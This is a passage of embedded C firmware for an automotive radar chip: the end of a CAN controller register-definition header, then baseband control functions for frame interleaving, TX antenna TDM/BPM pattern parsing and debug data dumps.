#define BITS_DATA_BIT_TIME_CTRL_DTSEG2_MASK (0xF)
/* nominal bit time control. */
#define BITS_NOMINAL_BIT_TIME_CTRL_NSJW_SHIFT (25)
#define BITS_NOMINAL_BIT_TIME_CTRL_NSJW_MASK (0x7F)
#define BITS_NOMINAL_BIT_TIME_CTRL_NBRP_SHIFT (16)
#define BITS_NOMINAL_BIT_TIME_CTRL_NBRP_MASK (0x1FF)
#define BITS_NOMINAL_BIT_TIME_CTRL_NTSEG1_SHIFT (8)
#define BITS_NOMINAL_BIT_TIME_CTRL_NTSEG1_MASK (0xFF)
#define BITS_NOMINAL_BIT_TIME_CTRL_NTSEG2_SHIFT (0)
#define BITS_NOMINAL_BIT_TIME_CTRL_NTSEG2_MASK (0x7F)
/* error counter. */
#define BITS_ERROR_CTRL_CEL_SHIFT (16)
#define BITS_ERROR_CTRL_CEL_MASK (0xFF)
#define BITS_ERROR_CTRL_REC_SHIFT (8)
#define BITS_ERROR_CTRL_REC_MASK (0x7F)
#define BITS_ERROR_CTRL_TEC_SHIFT (0)
#define BITS_ERROR_CTRL_TEC_MASK (0xFF)
/* protocol status. */
#define BIT_PROTOCOL_STATUS_BO (1 << 27)
#define BIT_PROTOCOL_STATUS_EW (1 << 26)
#define BIT_PROTOCOL_STATUS_EP (1 << 25)
#define BITS_PROTOCOL_STATUS_ACT_SHIFT (23)
#define BITS_PROTOCOL_STATUS_ACT_MASK (0x3)
#define BIT_PROTOCOL_STATUS_PXE (1 << 6)
#define BIT_PROTOCOL_STATUS_RFDF (1 << 5)
#define BIT_PROTOCOL_STATUS_RBRS (1 << 4)
#define BIT_PROTOCOL_STATUS_RESI (1 << 3)
#define BITS_PROTOCOL_STATUS_LEC_SHIFT (0)
#define BITS_PROTOCOL_STATUS_LEC_MASK (0x7)
/* transmitter delay compensation. */
#define BITS_TRANSMIT_DELAY_COM_TDCV_SHIFT (16)
#define BITS_TRANSMIT_DELAY_COM_TDCV_MASK (0x7F)
#define BITS_TRANSMIT_DELAY_COM_TDCO_SHIFT (8)
#define BITS_TRANSMIT_DELAY_COM_TDCO_MASK (0x7F)
#define BITS_TRANSMIT_DELAY_COM_TDCF_SHIFT (0)
#define BITS_TRANSMIT_DELAY_COM_TDCF_MASK (0x7F)
/* timeour counter. */
#define BITS_TIMEOUT_COUNTER_TOP_SHIFT (16)
#define BITS_TIMEOUT_COUNTER_TOP_MASK (0xFFFF)
#define BITS_TIMEOUT_COUNTER_TOS_SHIFT (1)
#define BITS_TIMEOUT_COUNTER_TOS_MASK (0x3)
#define BIT_TIMEOUT_COUNTER_TOE (1 << 0)
/* interrupt. */
#define BIT_INTERRUPT_TOO (1 << 25)
#define BIT_INTERRUPT_APR (1 << 24)
#define BIT_INTERRUPT_PED (1 << 23)
#define BIT_INTERRUPT_BO (1 << 22)
#define BIT_INTERRUPT_EW (1 << 21)
#define BIT_INTERRUPT_EP (1 << 20)
#define BIT_INTERRUPT_ELO (1 << 19)
#define BIT_INTERRUPT_BEU (1 << 18)
#define BIT_INTERRUPT_BEC (1 << 17)
#define BIT_INTERRUPT_MRAF (1 << 16)
#define BIT_INTERRUPT_TSW (1 << 15)
#define BIT_INTERRUPT_RXBN (1 << 14)
#define BIT_INTERRUPT_RXFL (1 << 13)
#define BIT_INTERRUPT_RXFF (1 << 12)
#define BIT_INTERRUPT_RXFW (1 << 11)
#define BIT_INTERRUPT_RXFE (1 << 10)
#define BIT_INTERRUPT_TXBC (1 << 9)
#define BIT_INTERRUPT_TXBT (1 << 8)
#define BIT_INTERRUPT_TXFL (1 << 7)
#define BIT_INTERRUPT_TXFF (1 << 6)
#define BIT_INTERRUPT_TXFW (1 << 5)
#define BIT_INTERRUPT_TXFE (1 << 4)
#define BIT_INTERRUPT_TEFL (1 << 3)
#define BIT_INTERRUPT_TEFF (1 << 2)
#define BIT_INTERRUPT_TEFW (1 << 1)
#define BIT_INTERRUPT_TEFE (1 << 0)
#if 0
/* interrupt enable. */
#define BIT_INTERRUPT_TOOE (1 << 25)
#define BIT_INTERRUPT_APRE (1 << 24)
#define BIT_INTERRUPT_PEDE (1 << 23)
#define BIT_INTERRUPT_BOE (1 << 22)
#define BIT_INTERRUPT_EWE (1 << 21)
#define BIT_INTERRUPT_EPE (1 << 20)
#define BIT_INTERRUPT_ELOE (1 << 19)
#define BIT_INTERRUPT_BEUE (1 << 18)
#define BIT_INTERRUPT_BECE (1 << 17)
#define BIT_INTERRUPT_MRAFE (1 << 16)
#define BIT_INTERRUPT_TSWE (1 << 15)
#define BIT_INTERRUPT_RXBNE (1 << 14)
#define BIT_INTERRUPT_RXFLE (1 << 13)
#define BIT_INTERRUPT_RXFFE (1 << 12)
#define BIT_INTERRUPT_RXFWEE (1 << 11)
#define BIT_INTERRUPT_RXFEE (1 << 10)
#define BIT_INTERRUPT_TXBCE (1 << 9)
#define BIT_INTERRUPT_TXBTE (1 << 8)
#define BIT_INTERRUPT_TXFLE (1 << 7)
#define BIT_INTERRUPT_TXFFE (1 << 6)
#define BIT_INTERRUPT_TXFWE (1 << 5)
#define BIT_INTERRUPT_TXFEE (1 << 4)
#define BIT_INTERRUPT_TEFLE (1 << 3)
#define BIT_INTERRUPT_TEFFE (1 << 2)
#define BIT_INTERRUPT_TEFWE (1 << 1)
#define BIT_INTERRUPT_TEFEE (1 << 0)
#endif
/* interrupt line select. */
#define BITS_INTERRUPT_LINE_SELECT_TOOLS_SHIFT (20)
#define BITS_INTERRUPT_LINE_SELECT_TOOLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_APRLS_SHIFT (18)
#define BITS_INTERRUPT_LINE_SELECT_APRLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_PEDLS_SHIFT (16)
#define BITS_INTERRUPT_LINE_SELECT_PEDLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_BOLS_SHIFT (14)
#define BITS_INTERRUPT_LINE_SELECT_BOLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_EWLS_SHIFT (12)
#define BITS_INTERRUPT_LINE_SELECT_EWLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_EPLS_SHIFT (10)
#define BITS_INTERRUPT_LINE_SELECT_EPLS_MASK (0x3)
//#define BITS_INTERRUPT_LINE_SELECT_EPLS_SHIFT (10)
//#define BITS_INTERRUPT_LINE_SELECT_EPLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_ELOLS_SHIFT (8)
#define BITS_INTERRUPT_LINE_SELECT_ELOLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_BEULS_SHIFT (6)
#define BITS_INTERRUPT_LINE_SELECT_BEULS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_BECLS_SHIFT (4)
#define BITS_INTERRUPT_LINE_SELECT_BECLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_MRAFLS_SHIFT (2)
#define BITS_INTERRUPT_LINE_SELECT_MRAFLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TSWLS_SHIFT (0)
#define BITS_INTERRUPT_LINE_SELECT_TSWLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_RXBNLS_SHIFT (28)
#define BITS_INTERRUPT_LINE_SELECT_RXBNLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_RXFLLS_SHIFT (26)
#define BITS_INTERRUPT_LINE_SELECT_RXFLLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_RXFFLS_SHIFT (24)
#define BITS_INTERRUPT_LINE_SELECT_RXFFLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_RXFWLS_SHIFT (22)
#define BITS_INTERRUPT_LINE_SELECT_RXFWLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_RXFELS_SHIFT (20)
#define BITS_INTERRUPT_LINE_SELECT_RXFELS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TXBCLS_SHIFT (18)
#define BITS_INTERRUPT_LINE_SELECT_TXBCLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TXBTLS_SHIFT (16)
#define BITS_INTERRUPT_LINE_SELECT_TXBTLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TXFLLS_SHIFT (14)
#define BITS_INTERRUPT_LINE_SELECT_TXFLLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TXFFLS_SHIFT (12)
#define BITS_INTERRUPT_LINE_SELECT_TXFFLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TXFWLS_SHIFT (10)
#define BITS_INTERRUPT_LINE_SELECT_TXFWLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TXFELS_SHIFT (8)
#define BITS_INTERRUPT_LINE_SELECT_TXFELS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TEFLLS_SHIFT (6)
#define BITS_INTERRUPT_LINE_SELECT_TEFLLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TEFFLS_SHIFT (4)
#define BITS_INTERRUPT_LINE_SELECT_TEFFLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TEFWLS_SHIFT (2)
#define BITS_INTERRUPT_LINE_SELECT_TEFWLS_MASK (0x3)
#define BITS_INTERRUPT_LINE_SELECT_TEFELS_SHIFT (0)
#define BITS_INTERRUPT_LINE_SELECT_TEFELS_MASK (0x3)
/* interrupt line enable. */
#define BIT_INTERRUPT_LINE_ENABLE_EINT3 (1 << 3)
#define BIT_INTERRUPT_LINE_ENABLE_EINT2 (1 << 2)
#define BIT_INTERRUPT_LINE_ENABLE_EINT1 (1 << 1)
#define BIT_INTERRUPT_LINE_ENABLE_EINT0 (1 << 0)
/* id filter control. */
#define BIT_ID_FILTER_CTRL_RNMFE (1 << 25)
#define BIT_ID_FILTER_CTRL_RRFE (1 << 24)
#define BITS_ID_FILTER_CTRL_XIDFS_SHIFT (16)
#define BITS_ID_FILTER_CTRL_XIDFS_MASK (0xFF)
#define BIT_ID_FILTER_CTRL_RNMFS (1 << 9)
#define BIT_ID_FILTER_CTRL_RRFS (1 << 8)
#define BITS_ID_FILTER_CTRL_SIDFS_SHIFT (0)
#define BITS_ID_FILTER_CTRL_SIDFS_MASK (0xFF)
#define BITS_STD_ID_FILTER_ELEMENT_SFT_SHIFT (30)
#define BITS_STD_ID_FILTER_ELEMENT_SFT_MSASK (0x3)
#define BITS_STD_ID_FILTER_ELEMENT_SFEC_SHIT (27)
#define BITS_STD_ID_FILTER_ELEMENT_SFEC_MASK (0x7)
#define BITS_STD_ID_FILTER_ELEMENT_SFID0_SHIFT (16)
#define BITS_STD_ID_FILTER_ELEMENT_SFID0_MASK (0x7FF)
#define BITS_STD_ID_FILTER_ELEMENT_SFID1_SHIFT (0)
#define BITS_STD_ID_FILTER_ELEMENT_SFID1_MASK (0x7FF)
#define BITS_EXT_ID_FILTER_ELEMENT_EFT_SHIFT (30)
#define BITS_EXT_ID_FILTER_ELEMENT_EFT_MASK (0x3)
#define BITS_EXT_ID_FILTER_ELEMENT_EFID0_SHIFT (0)
#define BITS_EXT_ID_FILTER_ELEMENT_EFID0_MASK (0x1FFFFFFF)
#define BITS_EXT_ID_FILTER_ELEMENT_EFEC_SHIFT (29)
#define BITS_EXT_ID_FILTER_ELEMENT_EFEC_MASK (0x7)
#define BITS_EXT_ID_FILTER_ELEMENT_EFID1_SHIFT (0)
#define BITS_EXT_ID_FILTER_ELEMENT_EFID1_MASK (0x1FFFFFFF)
/* rx fifo or BUffer element size configure. */
#define BITS_RX_ELEMENT_SIZE_CFG_RXFDS_SHIFT (4)
#define BITS_RX_ELEMENT_SIZE_CFG_RXFDS_MASK (0x7)
#define BITS_RX_ELEMENT_SIZE_CFG_RXBDS_SHIFT (0)
#define BITS_RX_ELEMENT_SIZE_CFG_RXBDS_MASK (0x7)
/* RX fifo configure. */
#define BITS_RX_FIFO_CFG_RXFWM_SHIFT (24)
#define BITS_RX_FIFO_CFG_RXFWM_MASK (0xFF)
#define BITS_RX_FIFO_CFG_RXFSZ_SHIFT (16)
#define BITS_RX_FIFO_CFG_RXFSZ_MASK (0xFF)
#define BIT_RX_FIFO_CFG_RXFOPM (1 << 0)
#if 0
/* rx fifo status. */
#define BITS_RX_FIFO_STATUS_RXFPI_SHIFT (24)
#define BITS_RX_FIFO_STATUS_RXFPI_MASK (0xFF)
#define BITS_RX_FIFO_STATUS_RXFGI_SHIFT (16)
#define BITS_RX_FIFO_STATUS_RXFGI_MASK (0xFF)
#define BITS_RX_FIFO_STATUS_RXFLV_SHIFT (8)
#define BITS_RX_FIFO_STATUS_RXFLV_MASK (0xFF)
#define BIT_RX_FIFO_STATUS_RXFML (1 << 7)
#define BIT_RX_FIFO_STATUS_RXFF (1 << 6)
#define BIT_RX_FIFO_STATUS_RXFE (1 << 5)
#define BIT_RX_FIFO_STATUS_RXFACK (1 << 0)
#endif
/* tx fifo or BUffer element size configure. */
#define BITS_TX_ELEMENT_SIZE_CFG_TXFDS_SHIFT (4)
#define BITS_TX_ELEMENT_SIZE_CFG_TXFDS_MASK (0x7)
#define BITS_TX_ELEMENT_SIZE_CFG_TXBDS_SHIFT (0)
#define BITS_TX_ELEMENT_SIZE_CFG_TXBDS_MASK (0x7)
/* TX fifo configure. */
#define BITS_TX_FIFO_CFG_TXFWM_SHIFT (24)
#define BITS_TX_FIFO_CFG_TXFWM_MASK (0xFF)
#define BITS_TX_FIFO_CFG_TXFSZ_SHIFT (16)
#define BITS_TX_FIFO_CFG_TXFSZ_MASK (0xFF)
#define BIT_TX_FIFO_CFG_TXFOPM (1 << 0)
#if 0
/* tx fifo status. */
#define BITS_TX_FIFO_STATUS_TXFPI_SHIFT (24)
#define BITS_TX_FIFO_STATUS_TXFPI_MASK (0xFF)
#define BITS_TX_FIFO_STATUS_TXFGI_SHIFT (16)
#define BITS_TX_FIFO_STATUS_TXFGI_MASK (0xFF)
#define BITS_TX_FIFO_STATUS_TXFLV_SHIFT (8)
#define BITS_TX_FIFO_STATUS_TXFLV_MASK (0xFF)
#define BIT_TX_FIFO_STATUS_TXFML (1 << 7)
#define BIT_TX_FIFO_STATUS_TXFF (1 << 6)
#define BIT_TX_FIFO_STATUS_TXFE (1 << 5)
#define BIT_TX_FIFO_STATUS_TXFACK (1 << 0)
#endif
/* TX event fifo configure. */
#define BITS_TX_EVENT_FIFO_CFG_TEFWM_SHIFT (24)
#define BITS_TX_EVENT_FIFO_CFG_TEFWM_MASK (0xFF)
#define BITS_TX_EVENT_FIFO_CFG_TEFSZ_SHIFT (16)
#define BITS_TX_EVENT_FIFO_CFG_TEFSZ_MASK (0xFF)
#define BIT_TX_EVENT_FIFO_CFG_TEFOPM (1 << 0)
#if 0
/* tx event fifo status. */
#define BITS_TX_EVENT_FIFO_STATUS_TEFPI_SHIFT (24)
#define BITS_TX_EVENT_FIFO_STATUS_TEFPI_MASK (0xFF)
#define BITS_TX_EVENT_FIFO_STATUS_TEFGI_SHIFT (16)
#define BITS_TX_EVENT_FIFO_STATUS_TEFGI_MASK (0xFF)
#define BITS_TX_EVENT_FIFO_STATUS_TEFLV_SHIFT (8)
#define BITS_TX_EVENT_FIFO_STATUS_TEFLV_MASK (0xFF)
#define BIT_TX_EVENT_FIFO_STATUS_TEFML (1 << 7)
#define BIT_TX_EVENT_FIFO_STATUS_TEFF (1 << 6)
#define BIT_TX_EVENT_FIFO_STATUS_TEFE (1 << 5)
#define BIT_TX_EVENT_FIFO_STATUS_TEFACK (1 << 0)
#endif
#define CAN_FIFO_STATUS_FPI_SHIFT (24)
#define CAN_FIFO_STATUS_FPI_MASK (0xFF)
#define CAN_FIFO_STATUS_FGI_SHIFT (16)
#define CAN_FIFO_STATUS_FGI_MASK (0xFF)
#define CAN_FIFO_STATUS_FLV_SHIFT (8)
#define CAN_FIFO_STATUS_FLV_MASK (0xFF)
#define CAN_FIFO_STATUS_FML (1 << 7)
#define CAN_FIFO_STATUS_FF (1 << 6)
#define CAN_FIFO_STATUS_FE (1 << 5)
#define CAN_FIFO_STATUS_FACK (1 << 0)
#define CAN_FIFO_CFG_FWM_SHIFT (24)
#define CAN_FIFO_CFG_FWM_MASK (0xFF)
#define CAN_FIFO_CFG_FSZ_SHIFT (16)
#define CAN_FIFO_CFG_FSZ_MASK (0xFF)
#define CAN_FIFO_CFG_FOPM (1 << 0)
#endif
<file_sep>#include "embARC.h"
#include "baseband.h"
#include "baseband_cli.h"
#include "sensor_config.h"
#include "embARC_error.h"
#include "calterah_limits.h"
#include "radio_ctrl.h"
#include "cascade.h"
#include "baseband_cas.h"
#include "baseband_task.h"
#include "apb_lvds.h"
#include "baseband_dpc.h"
#include "dbgbus.h"
#ifdef UNIT_TEST
#define UDELAY(us)
#else
#define UDELAY(us) chip_hw_udelay(us);
#endif
#define STREAM_ON_EN 1
extern SemaphoreHandle_t mutex_frame_count;
extern int32_t frame_count;
#ifdef CHIP_CASCADE
extern QueueHandle_t queue_cas_sync;
static bool cas_sync_flag = false;
void baseband_cascade_sync_wait(baseband_hw_t *bb_hw);
void baseband_cascade_sync_init();
#define SHAKE_CODE 0xABCD
#endif
static baseband_t baseband[MAX_FRAME_TYPE];
static uint8_t current_frame_type = 0;
static bool fi_en = true; /* Frame InterLeaving reconfig enable */
static uint32_t fi_cnt = 0; /* Frame InterLeaving reconfig count */
static frame_intrlv_t fi = FI_ROTATE;
static frame_intrlv_t fi_return = FI_ROTATE; /* save the initial strategy */
void baseband_dump_stop(void);
int32_t baseband_init(baseband_t *bb)
{
int32_t status = E_OK;
// Duplicate ID to ease access
bb->radio.frame_type_id = bb->bb_hw.frame_type_id;
status = fmcw_radio_init(&bb->radio);
if (status != E_OK)
return status;
radar_param_config(&bb->sys_params);
baseband_hw_init(&bb->bb_hw);
bb->track = track_get_track_ctrl();
track_init_sub(bb->track, bb);
cluster_init(&bb->cluster);
baseband_data_proc_init();
return status;
}
void baseband_clock_init()
{
bb_enable(1); /* bb clock enable */
}
int32_t baseband_dump_init(baseband_t *bb, bool sys_buf_store)
{
baseband_hw_dump_init(&bb->bb_hw, sys_buf_store);
return E_OK;
}
void baseband_start(baseband_t *bb)
{
#if INTER_FRAME_POWER_SAVE == 1
fmcw_radio_adc_fmcwmmd_ldo_on(&bb->radio, true);
fmcw_radio_lo_on(&bb->radio, true);
fmcw_radio_rx_on(&bb->radio, true);
fmcw_radio_tx_restore(&bb->radio);
#endif
fmcw_radio_sdm_reset(&bb->radio);
UDELAY(100);
dmu_adc_reset(); // ADC should reset in cascade
track_start(bb->track);
baseband_hw_start(&bb->bb_hw);
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_cascade_sync_wait(&bb->bb_hw); // wait for slave ready signal
#endif
if (!fmcw_radio_is_running(&bb->radio))
fmcw_radio_start(&bb->radio);
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_SLAVE)
cascade_s2m_sync_bb(); // slave sents ready signal
#endif
}
void baseband_start_with_params(baseband_t *bb, bool radio_en, bool tx_en, uint16_t sys_enable, bool cas_sync_en, uint8_t sys_irp_en, bool track_en)
{
if (tx_en == true)
fmcw_radio_tx_restore(&bb->radio);
#if INTER_FRAME_POWER_SAVE == 1
/* Recover the radio setting from power save mode */
fmcw_radio_adc_fmcwmmd_ldo_on(&bb->radio, true);
fmcw_radio_lo_on(&bb->radio, true);
fmcw_radio_rx_on(&bb->radio, true);
#endif
fmcw_radio_sdm_reset(&bb->radio);
UDELAY(100);
dmu_adc_reset(); // ADC should reset in cascade
if (track_en == true)
track_start(bb->track);
baseband_hw_start_with_params(&bb->bb_hw, sys_enable, sys_irp_en);
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER && cas_sync_en)
baseband_cascade_sync_wait(&bb->bb_hw); // wait for slave ready signal
#endif
if ((!fmcw_radio_is_running(&bb->radio)) && radio_en==true)
fmcw_radio_start(&bb->radio);
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_SLAVE && cas_sync_en)
cascade_s2m_sync_bb(); // slave sents ready signal
#endif
}
void baseband_stop(baseband_t *bb)
{
initial_flag_set(true);
fmcw_radio_stop(&bb->radio);
baseband_hw_stop(&bb->bb_hw);
track_stop(bb->track);
baseband_dump_stop(); /* stream data dump stop */
bb_clk_restore(); /* restore bb clock after dumping sample debug data */
if (true == baseband_data_proc_req()) {
baseband_data_proc_init(); /* re-init data process chain */
dmu_hil_input_mux(HIL_AHB); /* trun off dbgbus input */
lvds_dump_done(); /* done signal to fpga board */
}
}
baseband_t* baseband_get_bb(uint32_t idx)
{
if (idx >= NUM_FRAME_TYPE)
return NULL;
else
return &baseband[idx];
}
baseband_t* baseband_get_cur_bb()
{
sensor_config_t *cfg = sensor_config_get_cur_cfg();
return cfg->bb;
}
uint8_t baseband_get_cur_idx()
{
return sensor_config_get_cur_cfg_idx();
}
uint8_t baseband_get_cur_frame_type()
{
return current_frame_type;
}
void baseband_set_cur_frame_type(uint8_t ft)
{
current_frame_type = ft;
}
baseband_t* baseband_get_rtl_frame_type()
{
current_frame_type = baseband_read_reg(NULL, BB_REG_FDB_SYS_BNK_ACT); /* read back the bank selected in RTL */
baseband_t* bb = baseband_get_bb(current_frame_type);
baseband_write_reg(&bb->bb_hw, BB_REG_SYS_BNK_ACT, current_frame_type); /* match the bank accessed by CPU */
sensor_config_set_cur_cfg_idx(current_frame_type);
return bb;
}
void baseband_frame_type_reset()
{
baseband_write_reg(NULL, BB_REG_SYS_BNK_RST, 1);
fmcw_radio_frame_type_reset(NULL);
}
/* configure the loop pattern in frame interleaving */
baseband_t* baseband_frame_interleave_cfg(uint8_t frame_loop_pattern)
{
baseband_frame_interleave_pattern(NULL, frame_loop_pattern);
fmcw_radio_frame_interleave_pattern(NULL, frame_loop_pattern);
return baseband_get_rtl_frame_type(); /* read back the bank selected in RTL */
}
/* set new strategy in frame interleaving */
void baesband_frame_interleave_strategy_set(uint8_t strategy, uint32_t sw_num, uint8_t sel_0, uint8_t sel_1)
{
fi.strategy = strategy; // FIXMED or ROTATE or AIR_CONDITIONER or VELAMB or customized by yourself
fi.sw_num = sw_num; // loop period or switch number
fi.sel_0 = sel_0; // 1st frame type used
fi.sel_1 = sel_1; // 2nd frame type used
}
/* return the default strategy in frame interleaving */
void baesband_frame_interleave_strategy_return()
{
fi = fi_return;
}
/* clear the fi_cnt in frame interleaving */
void baesband_frame_interleave_cnt_clr()
{
fi_en = true;
fi_cnt = 0;
}
/* reconfigure the loop pattern in frame interleaving, just a reference code here*/
baseband_t* baseband_frame_interleave_recfg()
{
baseband_t* bb = baseband_get_rtl_frame_type();
switch (fi.strategy) {
case FIXED : // fix one frame type
if (fi_en && fi_cnt == 0) {
bb = baseband_frame_interleave_cfg(fi.sel_0);
fi_en = false;
}
break;
case ROTATE : // alwasys loop all available frame types
bb = baseband_frame_interleave_cfg(fi_cnt % fi.sw_num);
break;
case AIR_CONDITIONER : // use fi.sel_0 first, then fi.sel_1
if (fi_en) {
if (fi_cnt == 0) {
bb = baseband_frame_interleave_cfg(fi.sel_0);
} else if (fi_cnt == (fi.sw_num - 1)) {
bb = baseband_frame_interleave_cfg(fi.sel_1);
fi_en = false;
}
}
break;
case VELAMB : // always loop
if (fi_cnt % fi.sw_num == 2)
bb = baseband_frame_interleave_cfg(fi.sel_1);
else
bb = baseband_frame_interleave_cfg(fi_cnt % fi.sw_num);
break;
// you can customize a new pattern here
default:
break;
}
if (fi_en) {
if (fi_cnt < (fi.sw_num - 1))
fi_cnt++;
else
fi_cnt = 0;
}
return bb;
}
/*parse each element of cfg->tx_groups to work state in a chirp way*/
bool bit_parse(uint32_t num, uint16_t bit_mux[])
{
bool valid_mux = true;
for(int i=0; i<MAX_NUM_TX;i++){
bit_mux[i] = (num >> (4*i)) & 0x3; //output tx work status in chirp i, bit_mux=0 tx off; bit_mux=1 tx on in phase; bit_mux=2 tx on opposite phase
if (bit_mux[i] == 3) {
valid_mux = false;
break;
}
}
return valid_mux;
}
/*get the phase of the first chirp, when more than 1 tx is on in the first chirp, return the phase of antenna with small index
mainly used to judge the transmittion order of BPM*/
uint16_t get_ref_tx_antenna(uint32_t patten[])
{
uint16_t refer_phase = 0;
uint16_t bit_mux[MAX_NUM_TX] = {0, 0, 0, 0};
for(int i = 0; i < MAX_NUM_TX; i++) {
bit_parse(patten[i],bit_mux);
if (bit_mux[0]>0) {
refer_phase = bit_mux[0];
break;
}
}
return refer_phase;
}
/*to get the tx mux in every chirp by parse all patten*/
bool get_tdm_tx_antenna_in_chirp(uint32_t patten[], uint8_t chip_idx, uint32_t chirp_tx_mux[])
{
uint16_t bit_mux[MAX_NUM_TX] = {0, 0, 0, 0};
int32_t tx_groups_tmp[MAX_NUM_TX][MAX_NUM_TX] = {0};
uint32_t ret = 0;
for(int i = 0; i < MAX_NUM_TX; i++) { //Tx loop
bit_parse(patten[i],bit_mux);
for(int c = 0; c < MAX_NUM_TX; c++) { //chirp loop
if (bit_mux[c] > 0)
tx_groups_tmp[i][c] = 1; //output in which chirps Txi transmit
}
}
for(int c = 0; c <= chip_idx; c++) { //chirp loop
ret = 0;
for(int i = 0; i < MAX_NUM_TX; i++) { //Tx loop
if(tx_groups_tmp[i][c] > 0) {
ret |= (1 << i);
}
}
if (ret == 0) {
return false; //mean all tx off in chirp c
}
chirp_tx_mux[c] = ret; //ret is the mux presentation of txs which are on in chirp c
}
return true;
}
/*check bit_mux of a tx if satisfy the standard bpm pattern
for bpm va = 2, pattern 0 is x x , pattern 1 is x -x
for bpm va = 4, pattern 0 is x x x x, pattern 1 is x -x x -x, pattern 2 is x x -x -x, pattern 3 is x -x -x x*/
int8_t bpm_patten_check(uint16_t bit_mux[], uint8_t chip_idx, uint16_t refer_phase, uint8_t pat_num)
{
int loop_num = chip_idx/2 + 1; //for patten 1 2 3 check
int8_t p = 0;
for (int m = 0; m <= pat_num; m++ ) {
p = 0; //indicate which pattern bit_mux shows. p = -1 :mean invalid pattern
switch (m) {
case 0:
for(int j=0;j<=chip_idx;j++){
if (bit_mux[j] != refer_phase) {
p = -1;
break;
}
}
if (p != -1)
p = 0; // patten 0 gotten 1 1 1 1
break;
case 1:
for (int j = 0; j < loop_num; j++) {
if( (bit_mux[2*j] != refer_phase) || ((bit_mux[2*j] + bit_mux[2*j + 1]) != 3) ){
p = -1;
break;
}
}
if (p != -1)
p = 1; // patten 1 gotten 1 -1 1 -1
break;
case 2:
for (int j = 0; j < loop_num; j++) {
uint16_t phase = (j == 0)?refer_phase:(3-refer_phase);
if( (bit_mux[2*j] != phase) || (bit_mux[2*j] != bit_mux[2*j + 1]) ){
p = -1;
break;
}
}
if (p != -1)
p = 2; // patten 2 gotten 1 1 -1 -1
break;
case 3:
for (int j = 0; j < loop_num; j++) {
uint16_t phase = (j == 0)?refer_phase:(3-refer_phase);
if( (bit_mux[2*j] != phase) || ( (bit_mux[2*j] + bit_mux[2*j + 1]) != 3) ){
p = -1;
break;
}
}
if (p != -1)
p = 3; // patten 3 gotten 1 -1 -1 1
break;
default :
break;
}
if (p != -1)
break;
}
return p;
}
int8_t get_bpm_tx_antenna_in_chirp(uint32_t patten[], uint8_t chip_idx, uint32_t chirp_tx_mux[])
{
uint16_t bit_mux[MAX_NUM_TX] = {0, 0, 0, 0};
int8_t checker = 0; //checker = -1: pattern not found
uint16_t refer_phase = 0;
int i = 0;
int32_t tx_groups[MAX_NUM_TX] = {0, 0, 0, 0};
uint32_t ret = 0;
refer_phase = get_ref_tx_antenna(patten);
if (refer_phase == 0) { //mean all tx off in chirp 0
checker = -1;
return checker;
}
// get patten 0 first
for(i = 0; i < MAX_NUM_TX; i++) {
bit_parse(patten[i],bit_mux);
checker = bpm_patten_check(bit_mux, chip_idx, refer_phase, 0);
if (checker==0) {
tx_groups[i] = 1;
break;
} else {
continue;
}
}
if (checker == -1)
return checker;
// get other pattern
for(int j = 0; j < MAX_NUM_TX; j++) {
if (j == i-1)
continue;
bit_parse(patten[j],bit_mux);
uint8_t patten_num = (chip_idx == 1)?1:3; //chip_idx == 1 mean varray = 2
checker = bpm_patten_check(bit_mux, chip_idx, refer_phase, patten_num);
if (checker!=-1) {
tx_groups[j] = checker + 1;
}
}
/*generate the tx mux which are on in the same chirp*/
for (int c=0; c<= chip_idx; c++) {
ret = 0;
for(int i = 0; i < MAX_NUM_TX; i++) {
if (tx_groups[i] == (c+1))
ret |= (1<<i);
}
if (ret == 0) {
checker = -1;
return checker;
}
chirp_tx_mux[c] = ret;
}
checker = 4; //success over
return checker;
}
void baseband_dump_stop(void)
{
bool param = baseband_stream_off_req();
if (param == STREAM_ON_EN) { /* data dump finish */
#ifdef CHIP_CASCADE
lvds_dump_stop();
#else
dbgbus_dump_stop();
#endif // CHIP_CASCADE
baseband_switch_buf_store(NULL, SYS_BUF_STORE_FFT);
}
}
void baseband_hil_input_enable(baseband_t *bb)
{
dbgbus_hil_ready(); /* ready signal of hil sent to FPGA data collection board */
dmu_hil_input_mux(HIL_GPIO);
}
void baseband_hil_input_disable(baseband_t *bb)
{
dmu_hil_input_mux(HIL_AHB); /* trun off dbgbus input */
}
void baseband_hil_dump_enable(baseband_t *bb)
{
fmcw_radio_lvds_on(NULL, true);
lvds_dump_reset(); /* reset signal to fpga board */
}
void baseband_hil_dump_done(baseband_t *bb)
{
lvds_dump_done(); /* done signal to fpga board */
}
void baseband_scan_stop(void)
{
xSemaphoreTake(mutex_frame_count, portMAX_DELAY);
frame_count = 0;
xSemaphoreGive(mutex_frame_count);
}
#ifdef CHIP_CASCADE
void baseband_cascade_handshake()
{
